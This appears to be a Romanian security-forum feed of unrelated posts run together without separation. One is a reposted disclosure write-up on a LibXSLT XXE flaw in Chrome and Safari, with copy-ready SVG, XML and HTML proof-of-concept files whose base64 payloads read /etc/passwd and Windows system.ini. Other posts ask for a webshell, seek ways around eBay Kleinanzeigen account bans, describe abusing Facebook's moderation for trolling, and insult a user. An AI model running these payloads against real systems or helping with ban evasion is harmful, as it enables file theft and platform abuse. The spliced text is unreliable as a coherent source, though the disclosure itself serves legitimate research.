Am nevoie de un webshell mai recent, are careva? Vreau sa rulez niste teste la un EDR.

Mersi

Am o problema cu ebaykleineanzaigen.de, am nevoie de mai multe conturi active, dar ma blocheaza mereu, pentru ca imi fac publicitare la o mica combinatie sa zic asa fara sa fiu ( firma )  si ma blocheaza! Tot mi-am facut conturi noi, de pe care puteam sa postez, din nou pe acest site, ba faceam de pe telefonul de firma, ba faceam de pe laptopul iubitei mele, pana cand si acolo au blocat tot, si chiar daca pot sa fac cont nou, nu mai pot sa postez. 

Am incercat asa : schimbare IP cu VPN, fara rezultat , am reinstalat browser si am sters cookies, fara rezultat, mi-am dat Hotspot, de pe telefon pe laptop, si tot nu am reusit sa postez din nou, chiar daca cont nou mi-am putut face. Eu mai am un cont principal care il folosesc de pe telefon si imi merge perfect, acel cont nu vreau sa il risc, dar am nevoie de altele noi, in concluzie : Cum au reusit sa faca asta? Raman cookies-urile, undeva salvate si nu stiu eu ?!  Nu pare a fi un ban pe ip. 

Astept solutii din partea voastra, cu mare recunostinta!

O cunoștință de-a mea tocmai ce a fost infectată cu ransomware-ul BitLeaker (presupun că unii dintre voi sunteți deja familiarizați cu situația aceasta). Este contabilă și a primit un e-mail cu un atașament PDF aparent legitim. După ce l-a accesat, întregul ei hard disk a fost criptat prin BitLocker, iar acum este imposibil să mai acceseze datele fără cheia de recuperare. Atacatorii cer o sumă destul de mare pentru a furniza această cheie.

Nu vreau să ofer mai multe detalii aici, deoarece și atacatorii pot monitoriza forumurile. Vă rog mult, dacă aveți cunoștințe sau dacă știți persoane care au pățit același lucru recent, trimiteți-mi un mesaj privat. Am cateva intrebari.

Mulțumesc mult!

Bootcampul va acoperi cam tot ce e relevant pe partea de web security. Pentru intrebari sau sugestii, puteti posta in acest topic. 

Aplicare: https://forms.office.com/pages/responsepage.aspx?id=Kj012FOxF02IJ5AsUfcjV7xtuiFG-WJGpjjLyYDNLEhUOFhUR0tNV0xXOVkwQ1pPMUpYWU9aWUdHNS4u&route=shorturl

Mă scuzați că postez un prim subiect care solicită din prima un ajutor, o idee, de unde să apuc problema.

Administrez câteva magazine online care, de la o vreme, sunt spamate cu creare de conturi de forma:

utilizator : uRnvo4xpkfRc

adresă de email: pe yahoo, gmail, aol...

Nu înțeleg de ce se întâmplă asta, ce urmăresc spamerii. Conturile nu sunt activate. Platforma funcționează așa: ca să-și deschidă cont, omul își bagă niște date minimale (nume + email + o bifă de acceptare T&C) și i se generează un email automat de forma:

„Salut uRnvo4xpkfRc, bine ai venit bla bla, 

Ca să activezi contul, dă click aici [link criptat].”

Pe unele platforme se crează zilnic zeci de asemenea conturi. În afară de trimiterea automată a emailului, nu văd nici un sens. Pe altele apare câte un cont la 1-2 zile, chiar zilnic, dar nu mai mult. Ca și cum cineva testează ceva, „nu ar funcționa” ceea ce se urmărește, și se abandonează ideea.

Am mai întâlnit ceva asemănător la un client care avea un Prestashop, trimiteau ca nebunii formulare de contact. Acolo am dezactivat pur și simplu formularul de contact. Spamerii au continuat să umple baza de date cu mesaje, dar formularul nu mai pleca nicăieri.

Serverele nu înregistrează alte emailuri de ieșire în afara celor de confirmare. Dacă încerc să „spionez” cu un program de analytics care îmi permite să înregistrez comportamentul utilizatorului, nu văd nimic, ceea ce înseamnă că e vorba de accesări cu boți. Totuși, nu înțeleg ce urmăresc. M-am gândit că toată cheia e stringul acela - uRnvo4xpkfRc - care o declanșa vreo poveste la utilizatorul care primește mailul, dar e ciudat, fiindcă emailurile sunt de tip yahoo, gmail, aol etc. - astea se citesc online, nu se descarcă pe calculator.

Ceva idei?

Mai multe aplicatii de chat au fost inchise precum Matrix, Sky ECC, EncroChat, Exclu and Ghost ?

https://www.europol.europa.eu/media-press/newsroom/news/international-operation-takes-down-another-encrypted-messaging-service-used-criminals

Stii de ce nu?

Pentru ca whatsapp, signal, telegram au solutii prin care pot sa faca MiTM si sa fure cheile private de la utilizatori. Am discutat aici cum anumite state pot sa faca MiTM

Nytro sa imi suga pula ca e superficial in gandire care nu se documenteaza corespunzator si nu tace inainte sa arate cat de prost e.

A year ago, I wondered what a malicious page with disabled JavaScript could do.

I knew that SVG, which is based on XML, and XML itself could be complex and allow file access. Is the Same Origin Policy (SOP) correctly implemented for all possible XML and SVG syntaxes? Is access through the file:// protocol properly handled?

Since I was too lazy to read the documentation, I started generating examples using ChatGPT.

XSL

The technology I decided to test is XSL. It stands for eXtensible Stylesheet Language. It’s a specialized XML-based language that can be used within or outside of XML for modifying it or retrieving data.

In Chrome, XSL is supported and the library used is LibXSLT. It’s possible to verify this by using system-property('xsl:vendor') function, as shown in the following example.

• system-properties.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="system-properties.xsl" type="text/xsl"?>  
<root/>
system-properties.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<p>
Version: <xsl:value-of select="system-property('xsl:version')" /> <br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</p>
</xsl:template>
</xsl:stylesheet>

Here is the output of the system-properties.xml file, uploaded to the local web server and opened in Chrome:

The LibXSLT library, first released on September 23, 1999, is both longstanding and widely used. It is a default component in Chrome, Safari, PHP, PostgreSQL, Oracle Database, Python, and numerous others applications.

The first interesting XSL output from ChatGPT was a code with functionality that allows you to retrieve the location of the current document. While this is not a vulnerability, it could be useful in some scenarios.

• get-location.xml

<?xml-stylesheet href="get-location.xsl" type="text/xsl"?>  
<!DOCTYPE test [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
]>
<test>
<getLocation test="ent"/>
</test>
get-location.xsl
<xsl:stylesheet version="1.0"  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
>  
  <xsl:output method="html"/>  
  <xsl:template match="getLocation">  
          <input type="text" value="{unparsed-entity-uri(@test)}" />  
  </xsl:template>  
</xsl:stylesheet>

Here is what you should see after uploading this code to your web server:

All the magic happens within the unparsed-entity-uri() function. This function returns the full path of the “ent” entity, which is constructed using the relative path “?”.

XSL and Remote Content

Almost all XML-based languages have functionality that can be used for loading or displaying remote files, similar to the functionality of the <iframe> tag in HTML.

I asked ChatGPT many times about XSL’s content loading features. The examples below are what ChatGPT suggested I use, and the code was fully obtained from it.

XML External Entities

Since XSL is XML-based, usage of XML External Entities should be the first option.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

XInclude

XInclude is an XML add-on that’s described in a W3C Recommendation from November 15, 2006.

<?xml version="1.0"?>
<test xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd"/>
</test>

XSL‘s <xsl:import> and <xsl:include> tags

These tags can be used to load files as XSL stylesheets, according to ChatGPT.

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="file:///etc/passwd"/>
  <xsl:import href="file:///etc/passwd"/>
</xsl:stylesheet>

XSL’s document() function

XSL’s document() function can be used for loading files as XML documents.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet  version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

XXE

Using an edited ChatGPT output, I crafted an XSL file that combined the document() function with XML External Entities in the argument’s file, utilizing the data protocol. Next, I inserted the content of the XSL file into an XML file, also using the data protocol.

When I opened my XML file via an HTTP URL from my mobile phone, I was shocked to see my iOS /etc/hosts file! Later, my friend Yaroslav Babin(a.k.a. @yarbabin) confirmed the same result on Android!

Next, I started testing offline HTML to PDF tools, and it turned out that file reading works there as well, despite their built-in restrictions.

There was no chance that this wasn’t a vulnerability!

Here is a photo of my Smart TV, where the file reading works as well:

I compiled a table summarizing all my tests:

Quote

 

Test Scenario	Accessible Files
Android + Chrome	/etc/hosts
iOS + Safari	/etc/group, /etc/hosts, /etc/passwd
Windows + Chrome	–
Ubuntu + Chrome	–
PlayStation 4 + Chrome	–
Samsung TV + Chrome	/etc/group, /etc/hosts, /etc/passwd

 

The likely root cause of this discrepancy is the differences between sandboxes. Running Chrome on Windows or Linux with the --no-sandbox attribute allows reading arbitrary files as the current user.

Other Tests

I have tested some applications that use LibXSLT and don’t have sandboxes.

The default PHP configuration disables parsing of external entities XML and XSL documents. However, this does not affect XML documents loaded by the document() function, and PHP allows the reading of arbitrary files using LibXSLT.

According to my tests, calling libxml_set_external_entity_loader(function ($a) {}); is sufficient to prevent the attack.

POCs

You will find all the POCs in a ZIP archive at the end of this section. Note that these are not zero-day POCs; details on reporting to the vendor and bounty information will be also provided later.

First, I created a simple HTML page with multiple <iframe> elements to test all possible file read functionalities and all possible ways to chain them:

                    The result of opening the xxe_all_tests/test.html page in an outdated Chrome

Open this page in Chrome, Safari, or Electron-like apps. It may read system files with default sandbox settings; without the sandbox, it may read arbitrary files with the current user’s rights.

As you can see now, only one of the call chains leads to an XXE in Chrome, and we were very fortunate to find it. Here is my schematic of the chain for better understanding:

Next, I created minified XML, SVG, and HTML POCs that you can copy directly from the article.

• poc.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE svg [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
]>
<svg location="ent" />

• poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgdHlwZT0iaHRtbCIvPgo8eHNsOnRlbXBsYXRlIG1hdGNoPSJ0ZXN0MSI+CjxodG1sPgpMaWJyYXJ5OiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0ic3lzdGVtLXByb3BlcnR5KCd4c2w6dmVuZG9yJykiIC8+PHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlcnNpb24nKSIgLz48YnIgLz4gCkxvY2F0aW9uOiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0idW5wYXJzZWQtZW50aXR5LXVyaShAbG9jYXRpb24pIiAvPiAgPGJyLz4KWFNMIGRvY3VtZW50KCkgWFhFOiAKPHhzbDpjb3B5LW9mICBzZWxlY3Q9ImRvY3VtZW50KCdkYXRhOiwlM0MlM0Z4bWwlMjB2ZXJzaW9uJTNEJTIyMS4wJTIyJTIwZW5jb2RpbmclM0QlMjJVVEYtOCUyMiUzRiUzRSUwQSUzQyUyMURPQ1RZUEUlMjB4eGUlMjAlNUIlMjAlM0MlMjFFTlRJVFklMjB4eGUlMjBTWVNURU0lMjAlMjJmaWxlOi8vL2V0Yy9wYXNzd2QlMjIlM0UlMjAlNUQlM0UlMEElM0N4eGUlM0UlMEElMjZ4eGUlM0IlMEElM0MlMkZ4eGUlM0UnKSIvPgo8L2h0bWw+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE test [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
]>
<test1 location="ent"/>

• poc.html

<html>
<head>
<title>LibXSLT document() XXE tests</title>
</head>
<body>
SVG<br/>
<iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlsZEdNdmNHRnpjM2RrSlRJeUpUTkZKVEl3SlRWRUpUTkZKVEJCSlRORGVIaGxKVE5GSlRCQkpUSTJlSGhsSlROQ0pUQkJKVE5ESlRKR2VIaGxKVE5GSnlraUx6NEtQQzlrYVhZK0Nqd3ZabTl5WldsbmJrOWlhbVZqZEQ0S1BDOXpkbWMrQ2p3dmVITnNPblJsYlhCc1lYUmxQZ284TDNoemJEcHpkSGxzWlhOb1pXVjBQZz09Ij8+CjwhRE9DVFlQRSBzdmcgWyAgCiAgICA8IUVOVElUWSBlbnQgU1lTVEVNICI/IiBOREFUQSBhYWE+ICAgCl0+CjxzdmcgbG9jYXRpb249ImVudCIgLz4="></iframe><br/>
SVG WIN<br/>
<iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlqT2k5M2FXNWtiM2R6TDNONWMzUmxiUzVwYm1rbE1qSWxNMFVsTWpBbE5VUWxNMFVsTUVFbE0wTjRlR1VsTTBVbE1FRWxNalo0ZUdVbE0wSWxNRUVsTTBNbE1rWjRlR1VsTTBVbktTSXZQZ284TDJScGRqNEtQQzltYjNKbGFXZHVUMkpxWldOMFBnbzhMM04yWno0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0MSBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiIC8+"></iframe><br/>
XML<br/>
<iframe src="data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluTjVjM1JsYlMxd2NtOXdaWEowZVNnbmVITnNPblpsY25OcGIyNG5LU0lnTHo0OFluSWdMejRnQ2t4dlkyRjBhVzl1T2lBOGVITnNPblpoYkhWbExXOW1JSE5sYkdWamREMGlkVzV3WVhKelpXUXRaVzUwYVhSNUxYVnlhU2hBYkc5allYUnBiMjRwSWlBdlBpQWdQR0p5THo0S1dGTk1JR1J2WTNWdFpXNTBLQ2tnV0ZoRk9pQUtQSGh6YkRwamIzQjVMVzltSUNCelpXeGxZM1E5SW1SdlkzVnRaVzUwS0Nka1lYUmhPaXdsTTBNbE0wWjRiV3dsTWpCMlpYSnphVzl1SlRORUpUSXlNUzR3SlRJeUpUSXdaVzVqYjJScGJtY2xNMFFsTWpKVlZFWXRPQ1V5TWlVelJpVXpSU1V3UVNVelF5VXlNVVJQUTFSWlVFVWxNakI0ZUdVbE1qQWxOVUlsTWpBbE0wTWxNakZGVGxSSlZGa2xNakI0ZUdVbE1qQlRXVk5VUlUwbE1qQWxNakptYVd4bE9pOHZMMlYwWXk5d1lYTnpkMlFsTWpJbE0wVWxNakFsTlVRbE0wVWxNRUVsTTBONGVHVWxNMFVsTUVFbE1qWjRlR1VsTTBJbE1FRWxNME1sTWtaNGVHVWxNMFVuS1NJdlBnbzhMMmgwYld3K0Nqd3ZlSE5zT25SbGJYQnNZWFJsUGdvOEwzaHpiRHB6ZEhsc1pYTm9aV1YwUGc9PSI/Pgo8IURPQ1RZUEUgdGVzdCBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiLz4="></iframe><br/>
XML WIN<br/>
<iframe src="data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrSmlONE1qQTdQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxjbk5wYjI0bktTSWdMejQ4WW5JZ0x6NGdDa3h2WTJGMGFXOXVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWRXNXdZWEp6WldRdFpXNTBhWFI1TFhWeWFTaEFiRzlqWVhScGIyNHBJaUF2UGlBZ1BHSnlMejRLV0ZOTUlHUnZZM1Z0Ym1WMEtDa2dXRmhGT2lBS1BIaHpiRHBqYjNCNUxXOW1JQ0J6Wld4bFkzUTlJbVJ2WTNWdFpXNTBLQ2RrWVhSaE9pd2xNME1sTTBaNGJXd2xNakIyWlhKemFXOXVKVE5FSlRJeU1TNHdKVEl5SlRJd1pXNWpiMlJwYm1jbE0wUWxNakpWVkVZdE9DVXlNaVV6UmlVelJTVXdRU1V6UXlVeU1VUlBRMVJaVUVVbE1qQjRlR1VsTWpBbE5VSWxNakFsTTBNbE1qRkZUbFJKVkZrbE1qQjRlR1VsTWpCVFdWTlVSVTBsTWpBbE1qSm1hV3hsT2k4dkwyTTZMM2RwYm1SdmQzTXZjM2x6ZEdWdExtbHVhU1V5TWlVelJTVXlNQ1UxUkNVelJTVXdRU1V6UTNoNFpTVXpSU1V3UVNVeU5uaDRaU1V6UWlVd1FTVXpReVV5Um5oNFpTVXpSU2NwSWk4K0Nqd3ZhSFJ0YkQ0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0IFsgIAogICAgPCFFTlRJVFkgZW50IFNZU1RFTSAiPyIgTkRBVEEgYWFhPiAgIApdPgo8dGVzdDEgbG9jYXRpb249ImVudCIvPg=="></iframe><br/>
</body>

                                                                                       ZIP archive for testing: libxslt.zip.

The Bounty

All findings were immediately reported to the vendors.

Safari

Apple implemented the sandbox patch. Assigned CVE: CVE-2023-40415. Reward: $25,000. ?

Chrome

Google implemented the patch and enforced security for documents loaded by the XSL’s document() function. Assigned CVE: CVE-2023-4357. Reward: $3,000. ?

Links

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40415
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4357
• https://issues.chromium.org/issues/40066577

Feel free to write your thoughts about the article on our X page. Follow @ptswarm so you don’t miss our future research and other publications.

Source: https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/

Sistemul de moderare este compus din doua entitati: moderatorii umani si AI-ul. Ambele entitati aveau niste hibe foarte mari de care m-am folosit pana s-a schimbat intregul lor sistem de moderare. Fiind o companie mare apar periodic tot felul de schimbari, unele dintre ele rezolvand fara intentie anumite probleme.

Problema cu moderatorii umani:

• sunt colaboratori de pe toata planeta
  • cei mai multi sunt recrutati pentru o perioada scurta de timp (4-12 saptamani)
• majoritatea celor care modereaza nu cunosc limba romana si folosesc servicii de traducere pentru moderare
  • in general moderatorii folosesc Google Translate, si, probabil, unii folosesc sistemul de traducere proprietar de la Facebook
  • serviciile de traducere, oricare ar fi ele, nu ofera intotdeauna un context corect si de multe ori nici traducerea corecta
• a lucra pentru Facebook inseamna a urma proceduri si a urma regulile impuse de companie fara a te putea abate de la ele, chiar daca observi ca se intampla lucruri aberante din cauza lor

Problema cu AI-urile Facebook:

• AI-ul proprietar pentru traducere era praf la limba romana
  • la fel ca si alte LLM-uri, mai intai traduce din romana in engleza textul, apoi analizeaza traducerea in engleza pentru a decide daca textul respecta "Community Standards"
  • doar ca acest AI traducea mult mai prost in 2021 decat o facea Google Translate in 2015, iar contextul era total diferit in traducere decat in limba in care a fost scris
    • nu stiu cat de bine traduce acum, tehnologia a avansat destul de mult in ultimii doi ani
• AI-ul de moderare: odata ce a decis ca un text incalca "Community Standards" nu cred ca isi mai poate schimba perspectiva - este necesara interventia unui operator uman pentru a schimba decizia
• tot un sistem automatizat de moderare se baza pe rata de succes a raportarilor, asa ca l-am violat   

Context: eram pe reveneala dupa problemele de sanatate, dar depresia de care tocmai scapasem ma lasase fara vlaga. Nu mai aveam tragere de inima sa fac nimic, la munca eram praf, rotitele creierului ruginisera, sistemul meu dopaminergic dormea pe el. Asa ca am zis sa revin pentru o perioada la vechile indeletniciri si sa fac tot posibilul sa ma distrez macar. Deci, trolling pe net. Unde? Pe Facebook, unde sunt toti prostii. Daca sunt atatia prosti, tocmai eu se lipsesc? Mi-am gasit si partener, un prieten care toata ziua statea la munca pe telefon, si am dat drumul la treaba.

